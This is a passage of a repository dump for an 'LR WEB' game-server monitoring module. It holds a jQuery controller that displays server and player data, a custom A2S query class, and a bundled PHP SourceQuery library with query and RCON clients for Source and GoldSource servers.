$.ajax({ type: 'POST', url: domain+"app/modules/module_block_main_servers_monitoring/includes/js_controller.php", data: ({data: servers, my: "yes"}), dataType: 'json', global: false, async:true, success: function( data ) { for (var i = 0; i < data.length; i++) { console.log( data ); info = data[i]; players = data[i]["players"]; minplayers += info['Players']; maxplayers += info['MaxPlayers']; document.getElementById('server-name-' + i).innerHTML = info['HostName']; document.getElementById('server-map-image-' + i).setAttribute("src", domain+"storage/cache/img/maps/"+data[i]['Mod']+"/"+info['Map_image']+".jpg"); document.getElementById('server-image-' + i).setAttribute("src", domain+"storage/cache/img/mods/"+info["Mod"]+".png"); document.getElementById('server-players-' + i).innerHTML = info['Players'] + "/" + info['MaxPlayers']; document.getElementById('server-map-' + i).innerHTML = info['Map']; document.getElementById('online_gr-' + i).setAttribute("style", "width:" + 100*info['Players']/info['MaxPlayers'] + "%"); document.getElementById('server-ip-' + i).innerHTML = info['ip']; var b = 1; if(players) { if( players.length > 0 ) { for (var i2 = 0; i2 < players.length; i2++) { var str = '' + '' + b++ + '' + '' + players[i2]['Name'].replace(/[\u00A0-\u9999<>\&]/g, function(i) { return '&#'+i.charCodeAt(0)+';'; }) + '' + '' + players[i2]['Frags'] + '' + '' + players[i2]['TimeF'] + '' + ''; po = document.getElementById('players_online_' + i); po.insertAdjacentHTML('beforeend', str); } var modal = document.getElementById('server-players-online-' + i ); document.getElementById('connect_server_' + i).setAttribute("href", "steam://connect/" + info['ip'] ); } else { $('.btn_connect_' + i).prop("onclick", null).off("click"); $('.btn_connect_' + i).attr("href", "steam://connect/" + info['ip'] ) $('.str_connect_' + i).attr("onclick", "document.location = 'steam://connect/" + info['ip'] + "'" ) } } } document.getElementById('min_players').innerHTML = minplayers; document.getElementById('max_players').innerHTML = maxplayers; } }); function get_players_data( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "block"; } function close_modal( i ) { var modal = document.getElementById('server-players-online-' + i ); modal.style.display = "none"; } }; ================================================ FILE: app/modules/module_block_main_servers_monitoring/description.json ================================================ {"title":"LR WEB | Home - Server Monitoring","info":"Servers monitoring in home page","author":"M0st1ce","page":"home","version":"0.2","required":{"core":"0.2","php":"5.4"},"setting":{"status":1,"type":4,"available_types":"1;2;3;4","translation":1,"interface":1,"interface_adjacent":"afternavbar","css":1,"js":1,"cache_enable":0,"cache_time":0,"data":0,"data_always":0}} ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/ServerInfo.php ================================================ IP = gethostbyname($_Data[0]); $this->PORT = $_Data[1]; $this->SOCKET = @fsockopen("udp://{$this->IP}", $this->PORT, $errno, $errstr, 1); if( empty($this->SOCKET) ) return false; stream_set_timeout( $this->SOCKET, $_TIMEOUT, 0); stream_set_blocking( $this->SOCKET, TRUE); } protected function SI_BYTE( $_LEN ) { $_STR = substr( $this->BUFER, 0, $_LEN ); $this->BUFER = substr( $this->BUFER, $_LEN ); return $_STR; } protected function SI_STR( $_SB = 0, $_ME = ServerInfo::NB) { $this->BUFER = substr( $this->BUFER, $_SB ); $_LEN = strpos( $this->BUFER, $_ME ); if( $_LEN === false ) $_LEN = strlen( $this->BUFER ); $_STR = substr( $this->BUFER, 0, $_LEN ); $this->BUFER = substr( $this->BUFER, $_LEN + strlen( $_ME ) ); return $_STR; } protected function SI_UK( $_STR, $_FT ) { list( , $_STR) = @unpack( $_FT, $_STR ); return $_STR; } protected function Write( $Header, $String = '' ) { $Command = Pack( 'ccccca*', 0xFF, 0xFF, 0xFF, 0xFF, $Header, $String ); $Length = StrLen( $Command ); return $Length === FWrite( $this->SOCKET, $Command, $Length ); } protected function Read( $Length = 1400 ) { $this->BUFER = fread( $this->SOCKET, $Length ); return $this->BUFER; } protected function SI_Get_Server_Info() { $this->Write("\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00"); $this->Write("\xFF\xFF\xFF\xFFTSource Engine Query\x00"); $header = $this->SI_BYTE(1); if ($header == 0x41) { $this->Write("\xFF\xFF\xFF\xFFTSource Engine Query\x00" . $this->SI_BYTE(4)); $header = $this->SI_BYTE(1); } switch ( $header ) { case "I": $_Server['Ip'] = $this->IP; $_Server['Netcode'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Name'] = $this->SI_STR(); $_Server['Map'] = end(explode("/", $this->SI_STR())); $_Server['Game'] = $this->SI_STR(); $_Server['Description'] = $this->SI_STR(); $_Server['Appid'] = $this->SI_UK($this->SI_BYTE( 2 ), "S" ); $_Server['Players'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Playersmax'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Bots'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Dedicated'] = $this->SI_BYTE( 1 ); $_Server['Os'] = $this->SI_BYTE( 1 ) == "l" ? "Linux" : "Windows"; $_Server['Anticheat'] = ord( $this->SI_BYTE( 1 )); $_Server['Version'] = $this->SI_STR(); break; case "m": $_Server['Ip'] = $this->SI_STR(); $_Server['Name'] = $this->SI_STR(); $_Server['Map'] = end(explode("/", $this->SI_STR())); $_Server['Game'] = $this->SI_STR(); $_Server['Description'] = $this->SI_STR(); $_Server['Players'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Playersmax'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Netcode'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Dedicated'] = $this->SI_BYTE( 1 ); $_Server['Os'] = $this->SI_BYTE( 1 ) == "l" ? "Linux" : "Windows"; if ( ord( $this->SI_BYTE( 1 ) ) ) { $_Server['Mod_url_info'] = $this->SI_STR(); $_Server['Mod_url_download'] = $this->SI_STR(); $this->BUFER = substr( $this->BUFER, 1 ); $_Server['Mod_version'] = $this->SI_UK( $this->SI_BYTE( 4 ), "l" ); $_Server['Mod_size'] = $this->SI_UK( $this->SI_BYTE( 4 ), "l" ); $_Server['Mod_server_side'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Mod_custom_dll'] = ord( $this->SI_BYTE( 1 ) ); } $_Server['Anticheat'] = ord( $this->SI_BYTE( 1 ) ); $_Server['Bots'] = ord( $this->SI_BYTE( 1 ) ); break; default: return false; break; } $_Server["Port"] = $this->PORT; if( file_exists( '../../../../storage/cache/img/maps/' . $_Server['Appid'] . '/' . $_Server['Map'] . '.jpg') ) $_Server['Map_image'] = 'storage/cache/img/maps/' . $_Server['Appid'] . '/' . $_Server['Map'] . '.jpg'; else $_Server['Map_image'] = 'storage/cache/img/maps/' . $_Server['Appid'] . '/-.jpg'; return (array) $_Server; } protected function SI_Get_Server_Players() { fwrite( $this->SOCKET, "\xFF\xFF\xFF\xFF\x55\x00\x00\x00\x00"); $this->BUFER = fread( $this->SOCKET, 4096 ); if(!$this->BUFER) return false; if(substr($this->BUFER, 0, 5) == "\xFF\xFF\xFF\xFF\x41") { $_Chellenge = substr($this->BUFER, 5, 4); fwrite( $this->SOCKET, "\xFF\xFF\xFF\xFF\x55{$_Chellenge}"); $this->BUFER = fread( $this->SOCKET, 4096 ); if(!$this->BUFER) return false; $_Header = $this->SI_BYTE( 4 ); $_Responce_Type = $this->SI_BYTE( 1 ); if( $_Responce_Type == "D" ) { $returned = ord ($this->SI_BYTE( 1 ) ); $_Players = []; $player_key = 0; while ( $this->BUFER ) { $_Players[$player_key]['Id'] = ord( $this->SI_BYTE( 1 ) ); $_Players[$player_key]['Name'] = $this->SI_STR(); $_Players[$player_key]['Score'] = $this->SI_UK( $this->SI_BYTE( 4 ), "l" ); $_Players[$player_key]['Time'] = gmdate("H:i:s", $this->SI_UK( $this->SI_BYTE( 4 ), "f" )); $player_key ++; if(empty($_Players[$player_key]['Name']) && empty($_Players[$player_key]['Score'])) { unset($_Players[$player_key]); } } return $_Players; } } } /* * return server info * Get_Info return array * Get_Players return array [Id, Name, Score, Time (Unixtime)] */ public function SI_Get() { return (array) [ "info" => $this->SI_Get_Server_Info(), "players" => $this->SI_Get_Server_Players() ]; } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/BaseSocket.php ================================================ Close( ); } abstract public function Close( ); abstract public function Open( $Address, $Port, $Timeout, $Engine ); abstract public function Write( $Header, $String = '' ); abstract public function Read( $Length = 1400 ); protected function ReadInternal( Buffer $Buffer, $Length, $SherlockFunction ) { if( $Buffer->Remaining( ) === 0 ) { throw new InvalidPacketException( 'Failed to read any data from socket', InvalidPacketException::BUFFER_EMPTY ); } $Header = $Buffer->GetLong( ); if( $Header === -1 ) // Single packet { // We don't have to do anything } else if( $Header === -2 ) // Split packet { $Packets = []; $IsCompressed = false; $ReadMore = false; $PacketChecksum = null; do { $RequestID = $Buffer->GetLong( ); switch( $this->Engine ) { case SourceQuery::GOLDSOURCE: { $PacketCountAndNumber = $Buffer->GetByte( ); $PacketCount = $PacketCountAndNumber & 0xF; $PacketNumber = $PacketCountAndNumber >> 4; break; } case SourceQuery::SOURCE: { $IsCompressed = ( $RequestID & 0x80000000 ) !== 0; $PacketCount = $Buffer->GetByte( ); $PacketNumber = $Buffer->GetByte( ) + 1; if( $IsCompressed ) { $Buffer->GetLong( ); // Split size $PacketChecksum = $Buffer->GetUnsignedLong( ); } else { $Buffer->GetShort( ); // Split size } break; } default: { throw new SocketException( 'Unknown engine.', SocketException::INVALID_ENGINE ); } } $Packets[ $PacketNumber ] = $Buffer->Get( ); $ReadMore = $PacketCount > sizeof( $Packets ); } while( $ReadMore && $SherlockFunction( $Buffer, $Length ) ); $Data = Implode( $Packets ); // TODO: Test this if( $IsCompressed ) { // Let's make sure this function exists, it's not included in PHP by default if( !Function_Exists( 'bzdecompress' ) ) { throw new \RuntimeException( 'Received compressed packet, PHP doesn\'t have Bzip2 library installed, can\'t decompress.' ); } $Data = bzdecompress( $Data ); if( !is_string( $Data ) || CRC32( $Data ) !== $PacketChecksum ) { throw new InvalidPacketException( 'CRC32 checksum mismatch of uncompressed packet data.', InvalidPacketException::CHECKSUM_MISMATCH ); } } $Buffer->Set( SubStr( $Data, 4 ) ); } else { throw new InvalidPacketException( 'Socket read: Raw packet header mismatch. (0x' . DecHex( $Header ) . ')', InvalidPacketException::PACKET_HEADER_MISMATCH ); } return $Buffer; } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/Buffer.php ================================================ Buffer = $Buffer; $this->Length = StrLen( $Buffer ); $this->Position = 0; } /** * Get remaining bytes * * @return int Remaining bytes in buffer */ public function Remaining( ) { return $this->Length - $this->Position; } /** * Gets data from buffer * * @param int $Length Bytes to read */ public function Get( $Length = -1 ) { if( $Length === 0 ) { return ''; } $Remaining = $this->Remaining( ); if( $Length === -1 ) { $Length = $Remaining; } else if( $Length > $Remaining ) { return ''; } $Data = SubStr( $this->Buffer, $this->Position, $Length ); $this->Position += $Length; return $Data; } /** * Get byte from buffer */ public function GetByte( ) { return Ord( $this->Get( 1 ) ); } /** * Get short from buffer */ public function GetShort( ) { if( $this->Remaining( ) < 2 ) { throw new InvalidPacketException( 'Not enough data to unpack a short.', InvalidPacketException::BUFFER_EMPTY ); } $Data = UnPack( 'v', $this->Get( 2 ) ); return (int)$Data[ 1 ]; } /** * Get long from buffer */ public function GetLong( ) { if( $this->Remaining( ) < 4 ) { throw new InvalidPacketException( 'Not enough data to unpack a long.', InvalidPacketException::BUFFER_EMPTY ); } $Data = UnPack( 'l', $this->Get( 4 ) ); return (int)$Data[ 1 ]; } /** * Get float from buffer */ public function GetFloat( ) { if( $this->Remaining( ) < 4 ) { throw new InvalidPacketException( 'Not enough data to unpack a float.', InvalidPacketException::BUFFER_EMPTY ); } $Data = UnPack( 'f', $this->Get( 4 ) ); return (float)$Data[ 1 ]; } /** * Get unsigned long from buffer */ public function GetUnsignedLong( ) { if( $this->Remaining( ) < 4 ) { throw new InvalidPacketException( 'Not enough data to unpack an usigned long.', InvalidPacketException::BUFFER_EMPTY ); } $Data = UnPack( 'V', $this->Get( 4 ) ); return (int)$Data[ 1 ]; } /** * Read one string from buffer ending with null byte */ public function GetString( ) { $ZeroBytePosition = StrPos( $this->Buffer, "\0", $this->Position ); if( $ZeroBytePosition === false ) { return ''; } $String = $this->Get( $ZeroBytePosition - $this->Position ); $this->Position++; return $String; } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/Exception/AuthenticationException.php ================================================ Socket = $Socket; } public function Close( ) { $this->RconChallenge = ''; $this->RconPassword = ''; } public function Open( ) { // } public function Write( $Header, $String = '' ) { $Command = Pack( 'cccca*', 0xFF, 0xFF, 0xFF, 0xFF, $String ); $Length = StrLen( $Command ); return $Length === FWrite( $this->Socket->Socket, $Command, $Length ); } /** * @param int $Length * @throws AuthenticationException * @return Buffer */ public function Read( $Length = 1400 ) { // GoldSource RCON has same structure as Query $Buffer = $this->Socket->Read( ); $StringBuffer = ''; $ReadMore = false; // There is no indentifier of the end, so we just need to continue reading do { $ReadMore = $Buffer->Remaining( ) > 0; if( $ReadMore ) { if( $Buffer->GetByte( ) !== SourceQuery::S2A_RCON ) { throw new InvalidPacketException( 'Invalid rcon response.', InvalidPacketException::PACKET_HEADER_MISMATCH ); } $Packet = $Buffer->Get( ); $StringBuffer .= $Packet; //$StringBuffer .= SubStr( $Packet, 0, -2 ); // Let's assume if this packet is not long enough, there are no more after this one $ReadMore = StrLen( $Packet ) > 1000; // use 1300? if( $ReadMore ) { $Buffer = $this->Socket->Read( ); } } } while( $ReadMore ); $Trimmed = trim( $StringBuffer ); if( $Trimmed === 'Bad rcon_password.' ) { throw new AuthenticationException( $Trimmed, AuthenticationException::BAD_PASSWORD ); } else if( $Trimmed === 'You have been banned from this server.' ) { throw new AuthenticationException( $Trimmed, AuthenticationException::BANNED ); } $Buffer->Set( $Trimmed ); return $Buffer; } public function Command( $Command ) { if( !$this->RconChallenge ) { throw new AuthenticationException( 'Tried to execute a RCON command before successful authorization.', AuthenticationException::BAD_PASSWORD ); } $this->Write( 0, 'rcon ' . $this->RconChallenge . ' "' . $this->RconPassword . '" ' . $Command . "\0" ); $Buffer = $this->Read( ); return $Buffer->Get( ); } public function Authorize( $Password ) { $this->RconPassword = $Password; $this->Write( 0, 'challenge rcon' ); $Buffer = $this->Socket->Read( ); if( $Buffer->Get( 14 ) !== 'challenge rcon' ) { throw new AuthenticationException( 'Failed to get RCON challenge.', AuthenticationException::BAD_PASSWORD ); } $this->RconChallenge = Trim( $Buffer->Get( ) ); } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/Socket.php ================================================ Socket !== null ) { FClose( $this->Socket ); $this->Socket = null; } } public function Open( $Address, $Port, $Timeout, $Engine ) { $this->Timeout = $Timeout; $this->Engine = $Engine; $this->Port = $Port; $this->Address = $Address; $this->Socket = @FSockOpen( 'udp://' . $Address, $Port, $ErrNo, $ErrStr, $Timeout ); if( $ErrNo || $this->Socket === false ) { throw new SocketException( 'Could not create socket: ' . $ErrStr, SocketException::COULD_NOT_CREATE_SOCKET ); } Stream_Set_Timeout( $this->Socket, $Timeout ); Stream_Set_Blocking( $this->Socket, true ); } public function Write( $Header, $String = '' ) { $Command = Pack( 'ccccca*', 0xFF, 0xFF, 0xFF, 0xFF, $Header, $String ); $Length = StrLen( $Command ); return $Length === FWrite( $this->Socket, $Command, $Length ); } /** * Reads from socket and returns Buffer. * * @throws InvalidPacketException * * @return Buffer Buffer */ public function Read( $Length = 1400 ) { $Buffer = new Buffer( ); $Buffer->Set( FRead( $this->Socket, $Length ) ); $this->ReadInternal( $Buffer, $Length, [ $this, 'Sherlock' ] ); return $Buffer; } public function Sherlock( $Buffer, $Length ) { $Data = FRead( $this->Socket, $Length ); if( StrLen( $Data ) < 4 ) { return false; } $Buffer->Set( $Data ); return $Buffer->GetLong( ) === -2; } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/SourceQuery.php ================================================ Socket = $Socket ?: new Socket( ); } public function __destruct( ) { $this->Disconnect( ); } /** * Opens connection to server * * @param string $Address Server ip * @param int $Port Server port * @param int $Timeout Timeout period * @param int $Engine Engine the server runs on (goldsource, source) * * @throws InvalidArgumentException * @throws SocketException */ public function Connect( $Address, $Port, $Timeout = 3, $Engine = self::SOURCE ) { $this->Disconnect( ); if( $Timeout < 0 ) { throw new InvalidArgumentException( 'Timeout must be a positive integer.', InvalidArgumentException::TIMEOUT_NOT_INTEGER ); } $this->Socket->Open( $Address, $Port, $Timeout, $Engine ); $this->Connected = true; } /** * Forces GetChallenge to use old method for challenge retrieval because some games use outdated protocol (e.g Starbound) * * @param bool $Value Set to true to force old method * * @returns bool Previous value */ public function SetUseOldGetChallengeMethod( $Value ) { $Previous = $this->UseOldGetChallengeMethod; $this->UseOldGetChallengeMethod = $Value === true; return $Previous; } /** * Closes all open connections */ public function Disconnect( ) { $this->Connected = false; $this->Challenge = ''; $this->Socket->Close( ); if( $this->Rcon ) { $this->Rcon->Close( ); $this->Rcon = null; } } /** * Sends ping packet to the server * NOTE: This may not work on some games (TF2 for example) * * @throws InvalidPacketException * @throws SocketException * * @return bool True on success, false on failure */ public function Ping( ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } $this->Socket->Write( self::A2S_PING ); $Buffer = $this->Socket->Read( ); return $Buffer->GetByte( ) === self::S2A_PING; } /** * Get server information * * @throws InvalidPacketException * @throws SocketException * * @return array Returns an array with information on success */ public function GetInfo( ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } if( $this->Challenge ) { $this->Socket->Write( self::A2S_INFO, "Source Engine Query\0" . $this->Challenge ); } else { $this->Socket->Write( self::A2S_INFO, "Source Engine Query\0" ); } $Buffer = $this->Socket->Read( ); $Type = $Buffer->GetByte( ); $Server = []; if( $Type === self::S2A_CHALLENGE ) { $this->Challenge = $Buffer->Get( 4 ); $this->Socket->Write( self::A2S_INFO, "Source Engine Query\0" . $this->Challenge ); $Buffer = $this->Socket->Read( ); $Type = $Buffer->GetByte( ); } // Old GoldSource protocol, HLTV still uses it if( $Type === self::S2A_INFO_OLD && $this->Socket->Engine === self::GOLDSOURCE ) { /** * If we try to read data again, and we get the result with type S2A_INFO (0x49) * That means this server is running dproto, * Because it sends answer for both protocols */ $Server[ 'Address' ] = $Buffer->GetString( ); $Server[ 'HostName' ] = $Buffer->GetString( ); $Server[ 'Map' ] = $Buffer->GetString( ); $Server[ 'ModDir' ] = $Buffer->GetString( ); $Server[ 'ModDesc' ] = $Buffer->GetString( ); $Server[ 'Players' ] = $Buffer->GetByte( ); $Server[ 'MaxPlayers' ] = $Buffer->GetByte( ); $Server[ 'Protocol' ] = $Buffer->GetByte( ); $Server[ 'Dedicated' ] = Chr( $Buffer->GetByte( ) ); $Server[ 'Os' ] = Chr( $Buffer->GetByte( ) ); $Server[ 'Password' ] = $Buffer->GetByte( ) === 1; $Server[ 'IsMod' ] = $Buffer->GetByte( ) === 1; if( $Server[ 'IsMod' ] ) { $Mod = []; $Mod[ 'Url' ] = $Buffer->GetString( ); $Mod[ 'Download' ] = $Buffer->GetString( ); $Buffer->Get( 1 ); // NULL byte $Mod[ 'Version' ] = $Buffer->GetLong( ); $Mod[ 'Size' ] = $Buffer->GetLong( ); $Mod[ 'ServerSide' ] = $Buffer->GetByte( ) === 1; $Mod[ 'CustomDLL' ] = $Buffer->GetByte( ) === 1; $Server[ 'Mod' ] = $Mod; } $Server[ 'Secure' ] = $Buffer->GetByte( ) === 1; $Server[ 'Bots' ] = $Buffer->GetByte( ); return $Server; } if( $Type !== self::S2A_INFO ) { throw new InvalidPacketException( 'GetInfo: Packet header mismatch. (0x' . DecHex( $Type ) . ')', InvalidPacketException::PACKET_HEADER_MISMATCH ); } $Server[ 'Protocol' ] = $Buffer->GetByte( ); $Server[ 'HostName' ] = $Buffer->GetString( ); $Server[ 'Map' ] = $Buffer->GetString( ); $Server[ 'ModDir' ] = $Buffer->GetString( ); $Server[ 'ModDesc' ] = $Buffer->GetString( ); $Server[ 'AppID' ] = $Buffer->GetShort( ); $Server[ 'Players' ] = $Buffer->GetByte( ); $Server[ 'MaxPlayers' ] = $Buffer->GetByte( ); $Server[ 'Bots' ] = $Buffer->GetByte( ); $Server[ 'Dedicated' ] = Chr( $Buffer->GetByte( ) ); $Server[ 'Os' ] = Chr( $Buffer->GetByte( ) ); $Server[ 'Password' ] = $Buffer->GetByte( ) === 1; $Server[ 'Secure' ] = $Buffer->GetByte( ) === 1; // The Ship (they violate query protocol spec by modifying the response) if( $Server[ 'AppID' ] === 2400 ) { $Server[ 'GameMode' ] = $Buffer->GetByte( ); $Server[ 'WitnessCount' ] = $Buffer->GetByte( ); $Server[ 'WitnessTime' ] = $Buffer->GetByte( ); } $Server[ 'Version' ] = $Buffer->GetString( ); // Extra Data Flags if( $Buffer->Remaining( ) > 0 ) { $Server[ 'ExtraDataFlags' ] = $Flags = $Buffer->GetByte( ); // S2A_EXTRA_DATA_HAS_GAME_PORT - Next 2 bytes include the game port. if( $Flags & 0x80 ) { $Server[ 'GamePort' ] = $Buffer->GetShort( ); } // S2A_EXTRA_DATA_HAS_STEAMID - Next 8 bytes are the steamID // Want to play around with this? // You can use https://github.com/xPaw/SteamID.php if( $Flags & 0x10 ) { $SteamIDLower = $Buffer->GetUnsignedLong( ); $SteamIDInstance = $Buffer->GetUnsignedLong( ); // This gets shifted by 32 bits, which should be steamid instance $SteamID = 0; if( PHP_INT_SIZE === 4 ) { if( extension_loaded( 'gmp' ) ) { $SteamIDLower = gmp_abs( $SteamIDLower ); $SteamIDInstance = gmp_abs( $SteamIDInstance ); $SteamID = gmp_strval( gmp_or( $SteamIDLower, gmp_mul( $SteamIDInstance, gmp_pow( 2, 32 ) ) ) ); } else { throw new \RuntimeException( 'Either 64-bit PHP installation or "gmp" module is required to correctly parse server\'s steamid.' ); } } else { $SteamID = $SteamIDLower | ( $SteamIDInstance << 32 ); } $Server[ 'SteamID' ] = $SteamID; unset( $SteamIDLower, $SteamIDInstance, $SteamID ); } // S2A_EXTRA_DATA_HAS_SPECTATOR_DATA - Next 2 bytes include the spectator port, then the spectator server name. if( $Flags & 0x40 ) { $Server[ 'SpecPort' ] = $Buffer->GetShort( ); $Server[ 'SpecName' ] = $Buffer->GetString( ); } // S2A_EXTRA_DATA_HAS_GAMETAG_DATA - Next bytes are the game tag string if( $Flags & 0x20 ) { $Server[ 'GameTags' ] = $Buffer->GetString( ); } // S2A_EXTRA_DATA_GAMEID - Next 8 bytes are the gameID of the server if( $Flags & 0x01 ) { $Server[ 'GameID' ] = $Buffer->GetUnsignedLong( ) | ( $Buffer->GetUnsignedLong( ) << 32 ); } if( $Buffer->Remaining( ) > 0 ) { throw new InvalidPacketException( 'GetInfo: unread data? ' . $Buffer->Remaining( ) . ' bytes remaining in the buffer. Please report it to the library developer.', InvalidPacketException::BUFFER_NOT_EMPTY ); } } return $Server; } /** * Get players on the server * * @throws InvalidPacketException * @throws SocketException * * @return array Returns an array with players on success */ public function GetPlayers( ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } $this->GetChallenge( self::A2S_PLAYER, self::S2A_PLAYER ); $this->Socket->Write( self::A2S_PLAYER, $this->Challenge ); $Buffer = $this->Socket->Read( 14000 ); // Moronic Arma 3 developers do not split their packets, so we have to read more data // This violates the protocol spec, and they probably should fix it: https://developer.valvesoftware.com/wiki/Server_queries#Protocol $Type = $Buffer->GetByte( ); if( $Type !== self::S2A_PLAYER ) { throw new InvalidPacketException( 'GetPlayers: Packet header mismatch. (0x' . DecHex( $Type ) . ')', InvalidPacketException::PACKET_HEADER_MISMATCH ); } $Players = []; $Count = $Buffer->GetByte( ); while( $Count-- > 0 && $Buffer->Remaining( ) > 0 ) { $Player = []; $Player[ 'Id' ] = $Buffer->GetByte( ); // PlayerID, is it just always 0? $Player[ 'Name' ] = $Buffer->GetString( ); $Player[ 'Frags' ] = $Buffer->GetLong( ); $Player[ 'Time' ] = (int)$Buffer->GetFloat( ); $Player[ 'TimeF' ] = GMDate( ( $Player[ 'Time' ] > 3600 ? "H:i:s" : "i:s" ), $Player[ 'Time' ] ); $Players[ ] = $Player; } return $Players; } /** * Get rules (cvars) from the server * * @throws InvalidPacketException * @throws SocketException * * @return array Returns an array with rules on success */ public function GetRules( ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } $this->GetChallenge( self::A2S_RULES, self::S2A_RULES ); $this->Socket->Write( self::A2S_RULES, $this->Challenge ); $Buffer = $this->Socket->Read( ); $Type = $Buffer->GetByte( ); if( $Type !== self::S2A_RULES ) { throw new InvalidPacketException( 'GetRules: Packet header mismatch. (0x' . DecHex( $Type ) . ')', InvalidPacketException::PACKET_HEADER_MISMATCH ); } $Rules = []; $Count = $Buffer->GetShort( ); while( $Count-- > 0 && $Buffer->Remaining( ) > 0 ) { $Rule = $Buffer->GetString( ); $Value = $Buffer->GetString( ); if( !Empty( $Rule ) ) { $Rules[ $Rule ] = $Value; } } return $Rules; } /** * Get challenge (used for players/rules packets) * * @throws InvalidPacketException */ private function GetChallenge( $Header, $ExpectedResult ) { if( $this->Challenge ) { return; } if( $this->UseOldGetChallengeMethod ) { $Header = self::A2S_SERVERQUERY_GETCHALLENGE; } $this->Socket->Write( $Header, "\xFF\xFF\xFF\xFF" ); $Buffer = $this->Socket->Read( ); $Type = $Buffer->GetByte( ); switch( $Type ) { case self::S2A_CHALLENGE: { $this->Challenge = $Buffer->Get( 4 ); return; } case $ExpectedResult: { // Goldsource (HLTV) return; } case 0: { throw new InvalidPacketException( 'GetChallenge: Failed to get challenge.' ); } default: { throw new InvalidPacketException( 'GetChallenge: Packet header mismatch. (0x' . DecHex( $Type ) . ')', InvalidPacketException::PACKET_HEADER_MISMATCH ); } } } /** * Sets rcon password, for future use in Rcon() * * @param string $Password Rcon Password * * @throws AuthenticationException * @throws InvalidPacketException * @throws SocketException */ public function SetRconPassword( $Password ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } switch( $this->Socket->Engine ) { case SourceQuery::GOLDSOURCE: { $this->Rcon = new GoldSourceRcon( $this->Socket ); break; } case SourceQuery::SOURCE: { $this->Rcon = new SourceRcon( $this->Socket ); break; } default: { throw new SocketException( 'Unknown engine.', SocketException::INVALID_ENGINE ); } } $this->Rcon->Open( ); $this->Rcon->Authorize( $Password ); } /** * Sends a command to the server for execution. * * @param string $Command Command to execute * * @throws AuthenticationException * @throws InvalidPacketException * @throws SocketException * * @return string Answer from server in string */ public function Rcon( $Command ) { if( !$this->Connected ) { throw new SocketException( 'Not connected.', SocketException::NOT_CONNECTED ); } if( $this->Rcon === null ) { throw new SocketException( 'You must set a RCON password before trying to execute a RCON command.', SocketException::NOT_CONNECTED ); } return $this->Rcon->Command( $Command ); } } ================================================ FILE: app/modules/module_block_main_servers_monitoring/ext/SourceQuery/SourceRcon.php ================================================ Socket = $Socket; } public function Close( ) { if( $this->RconSocket ) { FClose( $this->RconSocket ); $this->RconSocket = null; } $this->RconRequestId = 0; } public function Open( ) { if( !$this->RconSocket ) { $this->RconSocket = @FSockOpen( $this->Socket->Address, $this->Socket->Port, $ErrNo, $ErrStr, $this->Socket->Timeout ); if( $ErrNo || !$this->RconSocket ) { throw new SocketException( 'Can\'t connect to RCON server: ' . $ErrStr, SocketException::CONNECTION_FAILED ); } Stream_Set_Timeout( $this->RconSocket, $this->Socket->Timeout ); Stream_Set_Blocking( $this->RconSocket, true ); } } public function Write( $Header, $String = '' ) { // Pack the packet together $Command = Pack( 'VV', ++$this->RconRequestId, $Header ) . $String . "\x00\x00"; // Prepend packet length $Command = Pack( 'V', StrLen( $Command ) ) . $Command; $Length = StrLen( $Command ); return $Length === FWrite( $this->RconSocket, $Command, $Length ); } public function Read( ) { $Buffer = new Buffer( ); $Buffer->Set( FRead( $this->RconSocket, 4 ) ); if( $Buffer->Remaining( ) < 4 ) { throw new InvalidPacketException( 'Rcon read: Failed to read any data from socket', InvalidPacketException::BUFFER_EMPTY ); } $PacketSize = $Buffer->GetLong( ); $Buffer->Set( FRead( $this->RconSocket, $PacketSize ) ); $Data = $Buffer->Get( ); $Remaining = $PacketSize - StrLen( $Data ); while( $Remaining > 0 ) { $Data2 = FRead( $this->RconSocket, $Remaining ); $PacketSize = StrLen( $Data2 ); if( $PacketSize === 0 ) { throw new InvalidPacketException( 'Read ' . strlen( $Data ) . ' bytes from socket, ' . $Remaining . ' remaining', InvalidPacketException::BUFFER_EMPTY ); break; } $Data .= $Data2; $Remaining -= $PacketSize; } $Buffer->Set( $Data ); return $Buffer; } public function Command( $Command ) { $this->Write( SourceQuery::SERVERDATA_EXECCOMMAND, $Command ); $Buffer = $this->Read( ); $Buffer->GetLong( ); // RequestID $Type = $Buffer->GetLong( ); if( $Type === SourceQuery::SERVERDATA_AUTH_RESPONSE ) { throw new AuthenticationException( 'Bad rcon_password.', AuthenticationException::BAD_PASSWORD ); } else if( $Type !== SourceQuery::SERVERDATA_RESPONSE_VALUE ) { throw new InvalidPacketException( 'Invalid rcon response.', InvalidPacketException::PACKET_HEADER_MISMATCH ); } $Data = $Buffer->Get( ); // We do this stupid hack to handle split packets // See https://developer.valvesoftware.com/wiki/Source_RCON_Protocol#Multiple-packet_Responses if( StrLen( $Data ) >= 4000 ) { $this->Write( SourceQuery::SERVERDATA_RESPONSE_VALUE ); do { $Buffer = $this->Read( ); $Buffer->GetLong( ); // RequestID if( $Buffer->GetLong( ) !== SourceQuery::SERVERDATA_RESPONSE_VALUE ) { break; } $Data2 = $Buffer->Get( ); if( $Data2 === "\x00\x01\x00\x00\x00\x00" ) { break; } $Data .= $Data2; } while( true ); } return rtrim( 